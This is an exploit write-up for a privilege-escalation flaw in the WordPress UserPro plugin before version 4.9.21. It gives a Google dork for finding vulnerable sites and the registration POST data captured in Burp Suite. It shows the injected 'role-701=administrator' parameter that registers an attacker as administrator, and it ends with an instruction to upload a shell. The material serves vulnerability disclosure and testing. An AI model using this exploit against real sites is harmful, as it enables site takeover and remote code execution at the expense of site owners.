WordPress UserPro Privilege Escalation

`# Exploit Title: Wordpress Plugin UserPro < 4.9.21 User Registration With Administrator Role  
# Google Dork: inurl:/wp-content/plugins/userpro/  
# Date: 3rd January, 2019  
# Exploit Author: Noman Riffat  
# Vendor Homepage: https://userproplugin.com/  
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681  
# Version: < 4.9.21  
# Tested on: Wordpress 4.9.9 with linux but should work on all WP versions and OS as well  
  
UserPro fixed a user registration with administrator privileges vulnerability in version 4.9.21  
But there wasn't any POC available so this exploit demonstrates this  
vulnerability.  
https://demo.userproplugin.com/wp-content/plugins/userpro/changelog.txt  
From the changelog: "Security Fix : Registration role validation fix"  
  
The latest version up to now is 4.9.29  
The vulnerability allows anyone to register with Administrator role which  
can easily be turned into RCE  
  
Steps to reproduce:  
  
1. Go to the registration form, input random fake values, trigger Burp  
Suite and click submit.  
  
2. The POST data will look similar to following  
  
redirect_uri-701=&_myuserpro_nonce=xxxxxx&_wp_http_referer=%2F&unique_id=701&user_login-701=USERNAME&user_email-701=  
[email protected]  
&user_pass-701=PASSWORD&user_pass_confirm-701=PASSWORD&display_name-701=&profilepicture-701=&country-701=&facebook-701=&twitter-701=&google_plus-701=&user_url-701=&terms=on&action=userpro_process_form&template=register&group=default&shortcode=xxxxxxxxxxxxxxxxxxxxxxxxxxx  
  
Here "-701" is a random postfix number and gets stripped at the server.  
Other than that, the interesting values are  
  
user_login  
user_email  
user_pass  
user_pass_confirm  
  
3. Adding following extra parameter in POST data will register the user  
with Administrator privileges  
  
role-701=administrator  
  
So the modified POST data will look similar to following  
  
role-701=administrator&redirect_uri-701=&_myuserpro_nonce=xxxxxx&....snip....snip....  
  
4. Forward the POST data in Burp Suite and you will get redirect to  
/profile/ page with Administrator menu on top. Access /wp-admin/ to get to  
the dashboard  
  
5. Upload shell with default methods  
  
@nomanriffat  
  
`